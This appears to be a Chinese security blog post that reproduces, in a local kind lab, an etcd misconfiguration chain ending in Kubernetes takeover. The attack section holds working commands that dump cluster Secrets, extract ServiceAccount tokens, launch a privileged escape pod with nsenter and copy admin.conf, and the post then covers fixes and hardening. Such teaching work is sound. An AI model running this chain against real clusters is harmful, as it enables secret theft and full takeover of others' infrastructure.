云原生未授权系列之etcd未授权:从读到Secret到接管集群
原创
0x00
0x00
随笔漫记安全路
2026年8月19日 08:45
北京
在小说阅读器读本章
去阅读
声明:本文针对的是已公开、有官方修复方案的配置类安全问题(etcd 未授权访问)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。
一、漏洞背景
1.1 etcd 在 Kubernetes 中的角色
etcd 是 Kubernetes 集群的\"大脑\"——集群所有的状态数据都以键值对形式存储在其中,包括:
| 数据类型 | etcd 中的路径前缀 | 泄露危害 |
|---|---|---|
| Secret | /registry/secrets/ |
密码、私钥、ServiceAccount Token 全部明文可读 |
| ConfigMap | /registry/configmaps/ |
应用配置、敏感参数 |
| ServiceAccount | /registry/serviceaccounts/ |
账户信息 |
| RBAC | /registry/clusterrolebindings/ |
权限绑定关系 |
| Pod / Deployment | /registry/pods/ 、/registry/deployments/ |
工作负载定义 |
| Node | /registry/nodes/ |
节点信息 |
etcd 默认监听两个端口:
- 2379 —— client 端口,kube-apiserver 通过它读写数据
- 2380 —— peer 端口,etcd 节点间通信
正常情况下,etcd 启用 mTLS 双向证书认证(--client-cert-auth=true),只有持有合法客户端证书的 kube-apiserver 才能访问。
1.2 漏洞成因
当运维配置不当时,etcd 可能以\"裸奔\"状态暴露:
- 未启用
--client-cert-auth,任意能连到 2379 的客户端都可读写 --listen-client-urls监听了0.0.0.0,且 2379 被映射/暴露到内网甚至公网- 错误的 NetworkPolicy / 安全组放开了 2379
1.3 危害
攻击者无需任何凭证即可:
- 读取集群全部 Secret(含所有 ServiceAccount 的 JWT Token)
- 拿到高权限 Token 后访问 kube-apiserver,创建特权 Pod 逃逸到宿主机
- 读取宿主机上的
admin.conf,获得 cluster-admin,彻底接管集群
危害等级:高危(实际场景 CVSS 可达 9.x)
1.4 利用条件
这部分是复现前必须先搞清楚的——什么情况下这个链路才打得通。
| 条件 | 说明 | 本复现是否满足 |
|---|---|---|
| 2379 网络可达 | 攻击者能连到 etcd 的 client 端口(内网误暴露 / 公网映射 / NetworkPolicy 放开) | ✅ kind 把 2379 映射到宿主机 |
| client-cert-auth 未启用 | etcd 不校验客户端证书,任意连接可读写。这是漏洞根因,非默认配置 | ✅ 手动删掉 --client-cert-auth=true 复现 |
| 无需受害者交互 | 攻击者主动连接即可,不依赖任何用户点击 | ✅ 纯主动利用 |
| 无需任何凭证 | 不需要证书、Token、密码,空手连 | ✅ 零认证 |
| 读到可用 SA Token | etcd 里存着所有 ServiceAccount 的 JWT,任取一个即可打 apiserver | ✅ 集群默认就有 SA/Secret |
| SA 具备 pods/create | 要创建特权 Pod 逃逸,拿到的 SA 需有创建 Pod 权限。本例模拟了常见的\"给 CI/CD 绑 cluster-admin\"过度授权 | ✅ deploy SA 绑了 cluster-admin |
关键判断:这不是默认可利用的漏洞,而是运维错误配置(关闭客户端证书认证 + 监听 0.0.0.0 + 网络暴露)叠加后才触发。但一旦触发,由于 etcd 存着全集群 Secret,后续接管几乎无门槛——这也是它危害等级极高的原因。
默认配置是否安全:kubeadm / kind 默认都启用 mTLS(--client-cert-auth=true),etcd 只监听 127.0.0.1:2379,默认是安全的。出问题的一定是被人改过配置。
二、环境搭建
使用 kind(Kubernetes in Docker)创建一个真实集群,然后刻意复现 etcd 未授权的错误配置。
2.1 安装工具
# kind
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x ./kind && sudo mv ./kind /usr/local/bin/kind
# kubectl
curl -LO \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl\"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/
# etcdctl
wget https://github.com/etcd-io/etcd/releases/download/v3.5.10/etcd-v3.5.10-linux-amd64.tar.gz
tar xzf etcd-v3.5.10-linux-amd64.tar.gz
sudo mv etcd-v3.5.10-linux-amd64/etcdctl /usr/local/bin/
2.2 创建集群(映射 2379 / 6443 到宿主机)
cat > kind-etcd.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraPortMappings:
- containerPort: 2379
hostPort: 2379
- containerPort: 6443
hostPort: 6443
EOF
kind create cluster --config kind-etcd.yaml --name etcd-lab
验证集群正常:
kubectl get nodes
# NAME STATUS ROLES AGE VERSION
# etcd-lab-control-plane Ready control-plane 1m v1.29.x
2.3 制造\"受害者画像\":一个过度授权的 ServiceAccount
现实中,大量集群存在给 CI/CD、监控、运维工具授予
cluster-admin的过度授权 SA。这里复现这个常见条件,以便演示完整的\"读 Token → 接管\"链路。
# 创建一个名为 deploy 的 SA(模拟 CI/CD 服务账号)
kubectl create serviceaccount deploy -n default
# 给它 cluster-admin(模拟常见的过度授权)
kubectl create clusterrolebinding deploy-admin \\
--clusterrole=cluster-admin \\
--serviceaccount=default:deploy
# 为该 SA 创建一个长效 Token(1.24+ 需要手动创建 Secret 关联)
cat > sa-secret.yaml <<'EOF'
apiVersion: v1
kind: Secret
metadata:
name: deploy-token
namespace: default
annotations:
kubernetes.io/service-account.name: deploy
type: kubernetes.io/service-account-token
EOF
kubectl apply -f sa-secret.yaml
2.4 复现漏洞:关闭 etcd 客户端证书认证
kind 的 etcd 以静态 Pod形式运行,清单在控制面节点的 /etc/kubernetes/manifests/etcd.yaml。
# 进入控制面容器
docker exec -it etcd-lab-control-plane bash
# 备份原清单
cp /etc/kubernetes/manifests/etcd.yaml /etc/kubernetes/manifests/etcd.yaml.bak
# 编辑 etcd.yaml,做两处改动:
vi /etc/kubernetes/manifests/etcd.yaml
需要修改的参数(在 command 的 args 中):
# 改动 1:listen-client-urls 增加 0.0.0.0,让 2379 可从容器外访问
- --listen-client-urls=https://127.0.0.1:2379,https://0.0.0.0:2379
# 改动 2:删掉下面这一行,关闭客户端证书认证(漏洞根因)
# - --client-cert-auth=true
# 改动 3:advertise-client-urls 也加上 0.0.0.0(可选,保持一致)
- --advertise-client-urls=https://127.0.0.1:2379,https://0.0.0.0:2379
保留
--cert-file/--key-file(etcd 仍用 HTTPS,但不再校验客户端证书),这样 kube-apiserver 仍能正常工作,集群不会挂掉——这正是最危险、最隐蔽的真实场景。
保存退出。kubelet 会在 10~20 秒内自动重建 etcd Pod。等待其就绪:
# 退出容器
exit
# 等 etcd Pod 重建完成
kubectl -n kube-system get pod -l component=etcd -w
注意:
0.0.0.0的监听在容器内等价于\"所有网卡\",通过 kind 的extraPortMappings,宿主机的localhost:2379即可直达 etcd——这就是\"内网误暴露\"的等价复现。
三、漏洞复现
攻击链全景
下图对应 3.1–3.7 各小节,六个阶段从\"发现端口\"到\"集群失守\",颜色越深表示威胁程度越高。
链路速读:发现2379 → 无凭证连入etcd → dump出SA Token → Token打apiserver → 特权Pod逃逸宿主机 → 读admin.conf接管集群。任一环节被防御切断,后续链路即断裂——这就是纵深防御的价值。
3.1 信息收集:发现 2379
# 模拟内网扫描
nmap -p 2379,2380,6443 127.0.0.1
# 2379/tcp open etcd-client
# 6443/tcp open ssl/sun-sr-https
3.2 验证未授权访问
# 无任何证书即可连通(关键特征:不需要 --cert/--key)
ETCDCTL_API=3 etcdctl \\
--endpoints=https://127.0.0.1:2379 \\
--insecure-skip-tls-verify \\
endpoint health
# 127.0.0.1:2379 is healthy: successfully committed proposal
正常加固的 etcd,不带客户端证书会直接返回
rpc error: code = PermissionDenied。能 health 即说明client-cert-auth未启用。
3.3 dump 数据:列出所有 key
ETCDCTL_API=3 etcdctl \\
--endpoints=https://127.0.0.1:2379 \\
--insecure-skip-tls-verify \\
get / --prefix --keys-only | head -50
部分输出:
/registry/configmaps/default/kube-root-ca.crt
/registry/secrets/default/deploy-token ← 目标!
/registry/secrets/default/default-token-xxxxx
/registry/serviceaccounts/default/deploy
/registry/clusterrolebindings/deploy-admin
/registry/pods/kube-system/etcd-etcd-lab-control-plane
...
3.4 提取 ServiceAccount Token
etcd 中 Secret 的 value 是 protobuf 编码,但 JWT Token 本身是可打印字符串,且都以 ey 开头(JSON {\" 的 base64)。直接 grep 即可提取:
# dump 所有 secret,提取其中的 JWT
ETCDCTL_API=3 etcdctl \\
--endpoints=https://127.0.0.1:2379 \\
--insecure-skip-tls-verify \\
get /registry/secrets --prefix \\
| grep -aoE 'ey[A-Za-z0-9._-]{50,}\\.[A-Za-z0-9._-]{20,}\\.[A-Za-z0-9._-]{20,}' \\
| sort -u
会得到若干 JWT。逐个解码头部确认:
TOKEN=\"eyJhbGciOiJSUzI1NiIsImtpZCI6....\" # 替换为实际 token
# 解析 payload(第二段)
echo \"$TOKEN\" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
payload 中 kubernetes.io 命名空间字段会标明该 token 属于哪个 SA / namespace:
{
\"iss\": \"https://kubernetes.default.svc.cluster.local\",
\"sub\": \"system:serviceaccount:default:deploy\", ← 这就是那个过度授权的 SA
\"kubernetes.io\": {
\"namespace\": \"default\",
\"serviceaccount\": { \"name\": \"deploy\", \"uid\": \"...\" }
}
}
3.5 用 Token 接管 kube-apiserver
# 直接用 token 访问 API server(6443 已映射到宿主机)
kubectl --server=https://127.0.0.1:6443 \\
--insecure-skip-tls-verify \\
--token=\"$TOKEN\" \\
get nodes
# NAME STATUS ROLES AGE VERSION
# etcd-lab-control-plane Ready control-plane 10m v1.29.x
到这一步,集群已被\"读 + 控制权\"拿下。 但 token 是 default:deploy 这个 SA,虽然我们给了它 cluster-admin(模拟真实过度授权),下面演示通用逃逸手法——即便 SA 权限有限,只要有 pods/create 即可进一步拿到宿主机权限。
3.6 创建特权 Pod 逃逸到宿主机
cat > pwn.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: default
spec:
hostPID: true
hostNetwork: true
nodeSelector:
kubernetes.io/hostname: etcd-lab-control-plane
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
effect: NoSchedule
containers:
- name: shell
image: alpine
command: [\"sleep\", \"3600\"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl --server=https://127.0.0.1:6443 \\
--insecure-skip-tls-verify \\
--token=\"$TOKEN\" \\
apply -f pwn.yaml
# 等待 Pod Running
kubectl --server=https://127.0.0.1:6443 --insecure-skip-tls-verify \\
--token=\"$TOKEN\" get pod pwn -w
进入 Pod,通过 nsenter 进入宿主机 1 号进程的命名空间(因为 hostPID + privileged):
kubectl --server=https://127.0.0.1:6443 --insecure-skip-tls-verify \\
--token=\"$TOKEN\" exec -it pwn -- sh
# 容器内:
apk add --no-cache util-linux nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- sh
# 现在你已经在宿主机上,拥有 root 权限
hostname # etcd-lab-control-plane ← 这是宿主机
id # uid=0(root)
3.7 读取 admin.conf —— 彻底接管集群
# 宿主机上,kubeadm 部署的集群 admin.conf 就放在这里
cat /etc/kubernetes/admin.conf
admin.conf 内含 cluster-admin 身份的客户端证书与私钥。把它拷贝出来:
# 宿主机上(通过 nsenter 进入的 shell)
cp /etc/kubernetes/admin.conf /host/tmp/admin.conf
exit # 退出 nsenter,回到容器
exit # 退出容器
# 宿主机(攻击机)上用该 kubeconfig 操作集群,真正\"接管\"
mkdir -p ~/.kube && cp /tmp/admin.conf ~/.kube/config
kubectl get nodes -o wide
kubectl get secrets --all-namespaces # 任意 namespace 的 secret 随意读
至此完成 etcd 未授权 → 接管整个集群 的完整链路。
四、关键点解读
4.1 为什么 etcd 一裸奔,集群就等于失守?
etcd 是 Kubernetes 的\"唯一数据源(single source of truth)\"。它不像数据库有表级权限——任何能读写 etcd 的人,等同于绕过了 kube-apiserver 的全部认证授权:
- 读 = 拿到所有 Secret(密码、Token、私钥)
- 写 = 可以直接增删改任意 K8s 资源(理论上连伪造一个 cluster-admin 都行,只是 protobuf 编码有门槛)
所以社区的安全基线明确要求:etcd 必须启用 mTLS,且 2379 不得对非控制面节点开放。
4.2 JWT Token 为什么能直接当凭证?
Kubernetes 的 ServiceAccount Token 是由 kube-controller-manager 用 --service-account-private-key-file 签名的 JWT。kube-apiserver 只校验签名(公钥在 --service-account-key-file),不与 etcd 实时校验 Token 是否被吊销(1.21 之前是长效 Token,泄露后除非删除 SA/Secret 否则长期有效)。
因此从 etcd 里 dump 出来的 Token,可以直接拿去打 apiserver,这就是\"etcd 未授权\"远比\"普通数据库泄露\"严重的原因。
4.3 特权 Pod 逃逸原理
| 配置 | 作用 |
|---|---|
hostPID: true |
容器与宿主机共享 PID 命名空间,能看到宿主机 PID 1 |
privileged: true |
容器拥有几乎全部 capabilities,可执行 nsenter |
hostPath: / |
宿主机根文件系统挂载进容器,可读写任意文件 |
nsenter --target 1 |
进入 PID 1 的 mount/uts/ipc/net/pid 命名空间 = 回到宿主机环境 |
本质:K8s 的隔离依赖命名空间,privileged + hostPID 把这些命名空间全部\"拆掉\",容器即宿主机。
五、踩坑记录
| 问题 | 原因 | 解决 |
|---|---|---|
etcdctl 连接超时 |
etcd 默认只监听 127.0.0.1,即便映射了端口也连不上 |
必须改 listen-client-urls 包含 0.0.0.0(这正是漏洞配置) |
| 改完 etcd.yaml 集群 API 报错 | 把 listen-client-urls 改成只剩 0.0.0.0,apiserver 连不上 |
保留 127.0.0.1 与 0.0.0.0 两个,apiserver 用本地环回仍可连 |
get /registry/secrets 输出乱码 |
Secret 在 etcd 中是 protobuf 编码,非 JSON | 用 grep -aoE 'ey...' 提取可打印的 JWT,或用 --keys-only 先定位 |
| 提取的 Token 用不了 | 1.24+ 不再自动为 SA 生成长效 Token | 需手动创建 type: kubernetes.io/service-account-token 的 Secret(见 2.3) |
| 特权 Pod 一直 Pending | 控制面节点有 NoSchedule 污点 |
加 tolerations 容忍 node-role.kubernetes.io/control-plane |
nsenter 命令不存在 |
alpine 默认没装 | apk add util-linux nsenter |
六、修复与防御
6.1 立即修复(根治)
- 强制开启客户端证书认证(必须):
# /etc/kubernetes/manifests/etcd.yaml
- --client-cert-auth=true
- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
- --cert-file=/etc/kubernetes/pki/etcd/server.crt
- --key-file=/etc/kubernetes/pki/etcd/server.key
- 限制监听地址,不要监听
0.0.0.0:
- --listen-client-urls=https://127.0.0.1:2379
- 网络层隔离:2379/2380 仅允许控制面节点之间互访,对业务网段、公网全部拒绝。
- 云上:安全组仅放行控制面节点间的 2379/2380
- 自建:iptables / NetworkPolicy 限制来源
6.2 纵深防御
| 层面 | 措施 |
|---|---|
| etcd 静态加密 | 启用 EncryptionConfiguration,对 Secret 落盘加密。即便 etcd 被读,Secret 也是密文 |
| RBAC 收敛 | 杜绝给 SA 直接绑 cluster-admin;用最小权限 Role,定期审计 clusterrolebindings |
| Token 短期化 | 升级到 1.24+ 默认的 BoundServiceAccountToken(有过期时间、受众绑定) |
| 审计日志 | 开启 apiserver audit log,监控异常 token 使用、特权 Pod 创建 |
| 准入控制 | 用 PodSecurity Admission(pod-security.kubernetes.io)拒绝 privileged、hostPID、hostPath |
| 定期扫描 | 用 kube-bench 跑 CIS 基线;用 kube-hunter 发现暴露的 2379 |
6.3 快速自检命令
# 1. 检查 etcd 是否启用了 client-cert-auth
docker exec etcd-lab-control-plane \\
ps -ef | grep etcd | grep -o 'client-cert-auth=[a-z]*'
# 期望输出: client-cert-auth=true
# 2. 检查 2379 是否对外暴露(在非控制面机器上执行)
nc -zv <控制面IP> 2379
# 期望: Connection refused / timeout
# 3. 检查 Secret 是否加密落盘(读取应为密文)
ETCDCTL_API=3 etcdctl \\
--endpoints=https://127.0.0.1:2379 \\
--cacert=/etc/kubernetes/pki/etcd/ca.crt \\
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \\
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \\
get /registry/secrets/default/deploy-token
# 若启用了加密,看到的应是 k8s:enc:aescbc:... 开头的密文
七、总结
| 阶段 | 攻击者动作 | 防御者应做 |
|---|---|---|
| 入口 | 扫描发现 2379 开放 | 2379 网络隔离,不对外 |
| 突破 | 无凭证 dump etcd | 强制 mTLS(client-cert-auth=true) |
| 横向 | 提取 SA Token 打 apiserver | Secret 静态加密 + Token 短期化 |
| 提升 | 特权 Pod 逃逸宿主机 | PodSecurity 拒绝 privileged/hostPID |
| 接管 | 读取 admin.conf | admin.conf 严控,最小权限,审计告警 |
核心结论:etcd 未授权 = 集群失守的\"最快路径\"之一。它的修复成本极低(一行 client-cert-auth=true + 不监听 0.0.0.0),但一旦疏忽,危害是全量数据泄露 + 集群被接管。务必作为集群安全基线的必查项。
附录:清理环境
kind delete cluster --name etcd-lab
rm -f kind-etcd.yaml sa-secret.yaml pwn.yaml ~/.kube/config
参考
- Kubernetes 官方安全文档:https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/[1]
- etcd 安全模型:https://etcd.io/docs/v3.5/op-guide/security/[2]
- CIS Kubernetes Benchmark(ETCD 相关条目)
引用链接
[1]https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
[2]https://etcd.io/docs/v3.5/op-guide/security/
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论